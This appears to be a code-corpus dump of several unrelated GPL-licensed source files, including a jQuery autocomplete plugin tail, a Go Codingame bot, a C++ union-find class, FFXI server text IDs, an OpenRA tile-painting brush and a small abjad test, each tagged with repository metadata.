$(that.suggestionsContainer).remove();
}
};
// Create chainable jQuery plugin:
$.fn.autocomplete = function (options, args) {
var dataKey = 'autocomplete';
// If function invoked without argument return
// instance of the first matched element:
if (arguments.length === 0) {
return this.first().data(dataKey);
}
return this.each(function () {
var inputElement = $(this),
instance = inputElement.data(dataKey);
if (typeof options === 'string') {
if (instance && typeof instance[options] === 'function') {
instance[options](args);
}
} else {
// If instance already exists, destroy it:
if (instance && instance.dispose) {
instance.dispose();
}
instance = new Autocomplete(this, options);
inputElement.data(dataKey, instance);
}
});
};
}));
| gpl-3.0 |
deltreey/Codingame-Tron-Bot | go/src/paranoidandroid/paranoidandroid.go | 2830 | package main
import "fmt"
import "os"
/**
* Auto-generated code below aims at helping you parse
* the standard input according to the problem statement.
**/
func main() {
// nbFloors: number of floors
// width: width of the area
// nbRounds: maximum number of rounds
// exitFloor: floor on which the exit is found
// exitPos: position of the exit on its floor
// nbTotalClones: number of generated clones
// nbAdditionalElevators: ignore (always zero)
// nbElevators: number of elevators
var nbFloors, width, nbRounds, exitFloor, exitPos, nbTotalClones, nbAdditionalElevators, nbElevators int
fmt.Scan(&nbFloors, &width, &nbRounds, &exitFloor, &exitPos, &nbTotalClones, &nbAdditionalElevators, &nbElevators)
fmt.Fprintln(os.Stderr, "Number of Floors: ", nbFloors);
fmt.Fprintln(os.Stderr, "Number of Rounds: ", nbRounds);
fmt.Fprintln(os.Stderr, "Number of Clones: ", nbTotalClones);
fmt.Fprintln(os.Stderr, "Number of Elevators: ", nbElevators);
fmt.Fprintln(os.Stderr, "Number of Additional Elevators: ", nbAdditionalElevators);
fmt.Fprintln(os.Stderr, "Width: ", width);
fmt.Fprintln(os.Stderr, "Exit Floor: ", exitFloor);
fmt.Fprintln(os.Stderr, "Exit Position: ", exitPos);
var potentialElevators [100]Elevator;
var elevators []Elevator = potentialElevators[0:nbElevators];
for i := 0; i < nbElevators; i++ {
// elevatorFloor: floor on which this elevator is found
// elevatorPos: position of the elevator on its floor
var elevatorFloor, elevatorPos int
fmt.Scan(&elevatorFloor, &elevatorPos)
fmt.Fprintln(os.Stderr, "Elevator Floor: ", elevatorFloor);
fmt.Fprintln(os.Stderr, "Elevator Position: ", elevatorPos);
elevators[i].floor = elevatorFloor;
elevators[i].position = elevatorPos;
}
for {
var result = "WAIT";
// cloneFloor: floor of the leading clone
// clonePos: position of the leading clone on its floor
// direction: direction of the leading clone: LEFT or RIGHT
var cloneFloor, clonePos int
var direction string
fmt.Scan(&cloneFloor, &clonePos, &direction)
fmt.Fprintln(os.Stderr, "Clone Floor: ", cloneFloor);
fmt.Fprintln(os.Stderr, "Clone Position: ", clonePos);
fmt.Fprintln(os.Stderr, "Clone Direction: ", direction);
if cloneFloor == exitFloor {
if (direction == "RIGHT" && clonePos > exitPos) || (direction == "LEFT" && clonePos < exitPos) {
result = "BLOCK";
}
} else {
for e := 0; e < nbElevators; e++ {
if elevators[e].floor == cloneFloor {
if (direction == "RIGHT" && clonePos > elevators[e].position) || (direction == "LEFT" && clonePos < elevators[e].position) {
result = "BLOCK";
}
}
}
}
fmt.Println(result); // action: WAIT or BLOCK
}
}
type Elevator struct {
floor, position int
}
| gpl-3.0 |
ewijaya/ngsfeatures | ematch_src/graph/ConnectedComponentOnlineComputer.cc | 3777 | /*
* Author: Paul B. Horton
* Organization: Computational Biology Research Center, AIST, Japan
* Copyright (C) 2003, 2006, Paul B. Horton, All rights reserved.
* Creation Date: 2003.6.11
* Last Modified: $Date: 2008/08/25 12:22:18 $
*
* Description: See header files.
*/
#include "utils/graph/ConnectedComponentOnlineComputer.hh"
namespace cbrc{
nodeIndexT ConnectedComponentOnlineComputer::_getComponent( nodeIndexT& n /* modifies n */ ){
stackTop = 0;
while( nodeToComponent[n] <= 0 ){
compressionStack[stackTop++] = n;
n = -nodeToComponent[n];
}
nodeIndexT answer = nodeToComponent[n];
// do path compression.
for( nodeIndexT i = 0; i < stackTop; ++i ){
nodeToComponent[ compressionStack[i] ] = -n;
}
return answer;
}
void ConnectedComponentOnlineComputer::addEdge( nodeIndexT n0, nodeIndexT n1 ){
unsigned int c0 = _getComponent( n0 /* modifies n0 */ );
unsigned int c1 = _getComponent( n1 /* modifies n1 */ );
if( c0 == c1 ){
if( c0 == unassignedComponentIndexValue() ){
nodeToComponent[n0] = ++curComponent;
nodeToComponent[n1] = -n0;
}
return;
}
if( c0 < c1 ){
nodeToComponent[n1] = -n0;
}else{
nodeToComponent[n0] = -n1;
}
}
unsigned int
ConnectedComponentOnlineComputer::getNodeComponents( FLEArray<unsigned int>& nodeComponents ){
// std::cout << "at getNodeComponents, nodeComponents: " << nodeComponents << std::endl;
assert( nodeComponents.size() == nodeToComponent.size() );
compressPaths();
unsigned int maxComponent = 0;
for( unsigned int i = 0; i < numNodes; ++i ){
if( isUnassignedComponentIndex( nodeToComponent[i] ) ){
continue;
}
if( nodeToComponent[i] <= 0 ){
// subtract 1 to number components from 0.
nodeComponents[i] = nodeToComponent[ -nodeToComponent[i] ] - 1;
}
if( nodeToComponent[i] > 0 ){
nodeComponents[i] = nodeToComponent[i] - 1; // subtract 1 to number components from 0.
if( maxComponent < nodeComponents[i] ) maxComponent = nodeComponents[i];
}
}
for( unsigned int i = 0; i < numNodes; ++i ){
if( isUnassignedComponentIndex( nodeToComponent[i] ) ){
nodeComponents[i] = ++maxComponent;
}
}
// at this point the list is correct but some integers are skipped,
// so renumber the components to 0, 1, 2, ...
return renumberComponents( nodeComponents );
}
unsigned int
ConnectedComponentOnlineComputer::renumberComponents( FLEArray<unsigned int>& nodeComponents ){
unsigned int componentCount = 0;
FLEArray<unsigned int> toUniqueComponentNumber( numNodes, unassignedComponentIndexValue() );
for( unsigned int i = 0; i < numNodes; ++i ){
if( toUniqueComponentNumber[ nodeComponents[i] ] == unassignedComponentIndexValue() ){
toUniqueComponentNumber[ nodeComponents[i] ] = componentCount++;
}
nodeComponents[i] = toUniqueComponentNumber[ nodeComponents[i] ];
}
return componentCount;
}
void ConnectedComponentOnlineComputer::compressPaths(){
for( unsigned int i = 0; i < numNodes; ++i ){
unsigned int n = i;
stackTop = 0;
while( nodeToComponent[n] <= 0 ){
compressionStack[stackTop++] = n;
n = -nodeToComponent[n];
}
for( unsigned int j = 0; j < stackTop; ++j ){
nodeToComponent[ compressionStack[j] ] = -n;
}
}
}
void ConnectedComponentOnlineComputer::addGraph( const Graph& g ){
if( g.numNodes() != numNodes ){
std::cerr << "** in addGraph: expected graph with: " << numNodes << " but got graph with: " << g.numNodes()
<< std::endl;
assert( false );
}
for( nodeIndexT i = 1; i < numNodes; ++i ){
for( nodeIndexT j = 0; j < i; ++j ){
if( g.hasEdge( i, j ) ) addEdge( i, j );
}
}
}
}; // end namespace
| gpl-3.0 |
ffxinfinity/ffxinfinity | FFXI Server-Development/Build Files/scripts/zones/Lower_Jeuno/TextIDs.lua | 2211 | -- Variable TextID Description text
-- General Texts
ITEM_CANNOT_BE_OBTAINED = 6620; -- You cannot obtain the item <item> come back again after sorting your inventory
ITEM_OBTAINED = 6378; -- Obtained: <item>
GIL_OBTAINED = 6379; -- Obtained <number> gil
KEYITEM_OBTAINED = 6381; -- Obtained key item: <keyitem>
NOT_HAVE_ENOUGH_GIL = 0; -- You do not have enough gil
HOMEPOINT_SET = 6449; -- Home point set!
FISHING_MESSAGE_OFFSET = 6808; -- You can't fish here
INVENTORU_INCREASED = 7655; -- Your inventory capacity has increased.
ITS_LOCKED = 7463; -- It's locked.
GUIDE_STONE = 7016; -- Up: Upper Jeuno, Down: Port Jeuno
-- Other Texts
ITEM_DELIVERY_DIALOG = 7656; -- Now offering quick and easy delivery of packages to residences everywhere!
-- Conquest system
CONQUEST = 7929; -- You've earned conquest points!
-- Shop Texts
CREEPSTIX_SHOP_DIALOG = 7007; -- Hey, how ya doin'? We got the best junk in town.
PAWKRIX_SHOP_DIALOG = 7508; -- Hey, we're fixin' up some stew. Gobbie food's good food!
STINKNIX_SHOP_DIALOG = 7007; -- Hey, how ya doin'? We got the best junk in town.
RHIMONNE_SHOP_DIALOG = 7014; -- Howdy! Thanks for visiting the Chocobo Shop!
CHETAK_SHOP_DIALOG = 7009; -- Welcome to Othon's Garments.
CHENOKIH_SHOP_DIALOG = 7009; -- Welcome to Othon's Garments.
ADELFLETE_SHOP_DIALOG = 7011; -- Here at Gems by Kshama, we aim to please.
MOREFIE_SHOP_DIALOG = 7011; -- Here at Gems by Kshama, we aim to please.
MATOAKA_SHOP_DIALOG = 7011; -- Here at Gems by Kshama, we aim to please.
YOSKOLO_SHOP_DIALOG = 7010; -- Welcome to the Merry Minstrel's Meadhouse. What'll it be?
HASIM_SHOP_DIALOG = 7008; -- Welcome to Waag-Deeg's Magic Shop.
TAZA_SHOP_DIALOG = 7008; -- Welcome to Waag-Deeg's Magic Shop.
SUSU_SHOP_DIALOG = 7008; -- Welcome to Waag-Deeg's Magic Shop.
AKAMAFULA_SHOP_DIALOG = 7557; -- We ain't cheap, but you get what you pay for! Take your time, have a look around, see if there's somethin' you like.
AMALASANDA_SHOP_DIALOG = 7556; -- Welcome to the Tenshodo. You want something, we got it. We got all kinds of special merchandise you won't find anywhere else!
| gpl-3.0 |
WSULib/iamaman | application/views/scripts/items/tags.php | 327 | <?php head(array('title'=>'Browse Items','bodyid'=>'items','bodyclass'=>'tags')); ?>
<div id="primary">
<h1>Browse Items</h1>
<ul class="navigation item-tags" id="secondary-nav">
<?php echo custom_nav_items(); ?>
</ul>
<?php echo tag_cloud($tags,uri('items/browse')); ?>
</div><!-- end primary -->
<?php foot(); ?> | gpl-3.0 |
reaperrr/OpenRA | OpenRA.Mods.Common/EditorBrushes/EditorTileBrush.cs | 8103 | #region Copyright & License Information
/*
* Copyright 2007-2019 The OpenRA Developers (see AUTHORS)
* This file is part of OpenRA, which is free software. It is made
* available to you under the terms of the GNU General Public License
* as published by the Free Software Foundation, either version 3 of
* the License, or (at your option) any later version. For more
* information, see COPYING.
*/
#endregion
using System;
using System.Collections.Generic;
using System.Linq;
using OpenRA.Graphics;
using OpenRA.Mods.Common.Traits;
using OpenRA.Primitives;
namespace OpenRA.Mods.Common.Widgets
{
public sealed class EditorTileBrush : IEditorBrush
{
public readonly ushort Template;
readonly WorldRenderer worldRenderer;
readonly World world;
readonly EditorViewportControllerWidget editorWidget;
readonly TerrainTemplatePreviewWidget preview;
readonly Rectangle bounds;
readonly EditorActionManager editorActionManager;
bool painting;
public EditorTileBrush(EditorViewportControllerWidget editorWidget, ushort template, WorldRenderer wr)
{
this.editorWidget = editorWidget;
Template = template;
worldRenderer = wr;
world = wr.World;
editorActionManager = world.WorldActor.Trait<EditorActionManager>();
preview = editorWidget.Get<TerrainTemplatePreviewWidget>("DRAG_TILE_PREVIEW");
preview.GetScale = () => worldRenderer.Viewport.Zoom;
preview.IsVisible = () => editorWidget.CurrentBrush == this;
preview.Template = world.Map.Rules.TileSet.Templates.First(t => t.Value.Id == template).Value;
var grid = world.Map.Grid;
bounds = worldRenderer.Theater.TemplateBounds(preview.Template, grid.TileSize, grid.Type);
// The preview widget may be rendered by the higher-level code before it is ticked.
// Force a manual tick to ensure the bounds are set correctly for this first draw.
Tick();
}
public bool HandleMouseInput(MouseInput mi)
{
// Exclusively uses left and right mouse buttons, but nothing else
if (mi.Button != MouseButton.Left && mi.Button != MouseButton.Right)
return false;
if (mi.Button == MouseButton.Right)
{
if (mi.Event == MouseInputEvent.Up)
{
editorWidget.ClearBrush();
return true;
}
return false;
}
if (mi.Button == MouseButton.Left)
{
if (mi.Event == MouseInputEvent.Down)
painting = true;
else if (mi.Event == MouseInputEvent.Up)
painting = false;
}
if (!painting)
return true;
if (mi.Event != MouseInputEvent.Down && mi.Event != MouseInputEvent.Move)
return true;
var cell = worldRenderer.Viewport.ViewToWorld(mi.Location);
var isMoving = mi.Event == MouseInputEvent.Move;
if (mi.Modifiers.HasModifier(Modifiers.Shift))
{
FloodFillWithBrush(cell, isMoving);
painting = false;
}
else
PaintCell(cell, isMoving);
return true;
}
void PaintCell(CPos cell, bool isMoving)
{
var map = world.Map;
var tileset = map.Rules.TileSet;
var template = tileset.Templates[Template];
if (isMoving && PlacementOverlapsSameTemplate(template, cell))
return;
editorActionManager.Add(new PaintTileEditorAction(Template, map, cell));
}
void FloodFillWithBrush(CPos cell, bool isMoving)
{
var map = world.Map;
var mapTiles = map.Tiles;
var replace = mapTiles[cell];
if (replace.Type == Template)
return;
var queue = new Queue<CPos>();
var touched = new CellLayer<bool>(map);
var tileset = map.Rules.TileSet;
var template = tileset.Templates[Template];
Action<CPos> maybeEnqueue = newCell =>
{
if (map.Contains(cell) && !touched[newCell])
{
queue.Enqueue(newCell);
touched[newCell] = true;
}
};
Func<CPos, bool> shouldPaint = cellToCheck =>
{
for (var y = 0; y < template.Size.Y; y++)
{
for (var x = 0; x < template.Size.X; x++)
{
var c = cellToCheck + new CVec(x, y);
if (!map.Contains(c) || mapTiles[c].Type != replace.Type)
return false;
}
}
return true;
};
Func<CPos, CVec, CPos> findEdge = (refCell, direction) =>
{
while (true)
{
var newCell = refCell + direction;
if (!shouldPaint(newCell))
return refCell;
refCell = newCell;
}
};
queue.Enqueue(cell);
while (queue.Count > 0)
{
var queuedCell = queue.Dequeue();
if (!shouldPaint(queuedCell))
continue;
var previousCell = findEdge(queuedCell, new CVec(-1 * template.Size.X, 0));
var nextCell = findEdge(queuedCell, new CVec(1 * template.Size.X, 0));
for (var x = previousCell.X; x <= nextCell.X; x += template.Size.X)
{
PaintCell(new CPos(x, queuedCell.Y), isMoving);
var upperCell = new CPos(x, queuedCell.Y - (1 * template.Size.Y));
var lowerCell = new CPos(x, queuedCell.Y + (1 * template.Size.Y));
if (shouldPaint(upperCell))
maybeEnqueue(upperCell);
if (shouldPaint(lowerCell))
maybeEnqueue(lowerCell);
}
}
}
bool PlacementOverlapsSameTemplate(TerrainTemplateInfo template, CPos cell)
{
var map = world.Map;
var mapTiles = map.Tiles;
var i = 0;
for (var y = 0; y < template.Size.Y; y++)
{
for (var x = 0; x < template.Size.X; x++, i++)
{
if (template.Contains(i) && template[i] != null)
{
var c = cell + new CVec(x, y);
if (mapTiles.Contains(c) && mapTiles[c].Type == template.Id)
return true;
}
}
}
return false;
}
public void Tick()
{
var cell = worldRenderer.Viewport.ViewToWorld(Viewport.LastMousePos);
var offset = WVec.Zero;
var location = world.Map.CenterOfCell(cell) + offset;
var cellScreenPosition = worldRenderer.ScreenPxPosition(location);
var cellScreenPixel = worldRenderer.Viewport.WorldToViewPx(cellScreenPosition);
var zoom = worldRenderer.Viewport.Zoom;
preview.Bounds.X = cellScreenPixel.X + (int)(zoom * bounds.X);
preview.Bounds.Y = cellScreenPixel.Y + (int)(zoom * bounds.Y);
preview.Bounds.Width = (int)(zoom * bounds.Width);
preview.Bounds.Height = (int)(zoom * bounds.Height);
}
public void Dispose() { }
}
class PaintTileEditorAction : IEditorAction
{
public string Text { get; private set; }
readonly ushort template;
readonly Map map;
readonly CPos cell;
readonly Queue<UndoTile> undoTiles = new Queue<UndoTile>();
readonly TerrainTemplateInfo terrainTemplate;
public PaintTileEditorAction(ushort template, Map map, CPos cell)
{
this.template = template;
this.map = map;
this.cell = cell;
var tileset = map.Rules.TileSet;
terrainTemplate = tileset.Templates[template];
Text = "Added tile {0}".F(terrainTemplate.Id);
}
public void Execute()
{
Do();
}
public void Do()
{
var mapTiles = map.Tiles;
var mapHeight = map.Height;
var baseHeight = mapHeight.Contains(cell) ? mapHeight[cell] : (byte)0;
var i = 0;
for (var y = 0; y < terrainTemplate.Size.Y; y++)
{
for (var x = 0; x < terrainTemplate.Size.X; x++, i++)
{
if (terrainTemplate.Contains(i) && terrainTemplate[i] != null)
{
var index = terrainTemplate.PickAny ? (byte)Game.CosmeticRandom.Next(0, terrainTemplate.TilesCount) : (byte)i;
var c = cell + new CVec(x, y);
if (!mapTiles.Contains(c))
continue;
undoTiles.Enqueue(new UndoTile(c, mapTiles[c], mapHeight[c]));
mapTiles[c] = new TerrainTile(template, index);
mapHeight[c] = (byte)(baseHeight + terrainTemplate[index].Height).Clamp(0, map.Grid.MaximumTerrainHeight);
}
}
}
}
public void Undo()
{
var mapTiles = map.Tiles;
var mapHeight = map.Height;
while (undoTiles.Count > 0)
{
var undoTile = undoTiles.Dequeue();
mapTiles[undoTile.Cell] = undoTile.MapTile;
mapHeight[undoTile.Cell] = undoTile.Height;
}
}
}
class UndoTile
{
public CPos Cell { get; private set; }
public TerrainTile MapTile { get; private set; }
public byte Height { get; private set; }
public UndoTile(CPos cell, TerrainTile mapTile, byte height)
{
Cell = cell;
MapTile = mapTile;
Height = height;
}
}
}
| gpl-3.0 |
chefduweb/cuisine | shortcodes/shortcode-highlights.php | 358 | <?php
/**
* Cuisine Highlights Shortcodes
*
* Includes all the highlight shortcodes.
*
* @author Chef du Web
* @category Shortcodes
* @package Cuisine
*/
function cuisine_icon( $atts, $content = null ){
if( isset( $atts['type'] ) )
return '<i class="icon-'.$atts['type'].'"></i>';
}
add_shortcode('icon', 'cuisine_icon');
?> | gpl-3.0 |
andrewyoung1991/abjad | abjad/tools/scoretools/test/test_scoretools_NoteHead_is_forced.py | 330 | # -*- encoding: utf-8 -*-
from abjad import *
def test_scoretools_NoteHead_is_forced_01():
note_head = scoretools.NoteHead(written_pitch="c'")
assert note_head.is_forced is None
note_head.is_forced = True
assert note_head.is_forced == True
note_head.is_forced = False
assert note_head.is_forced == False | gpl-3.0 |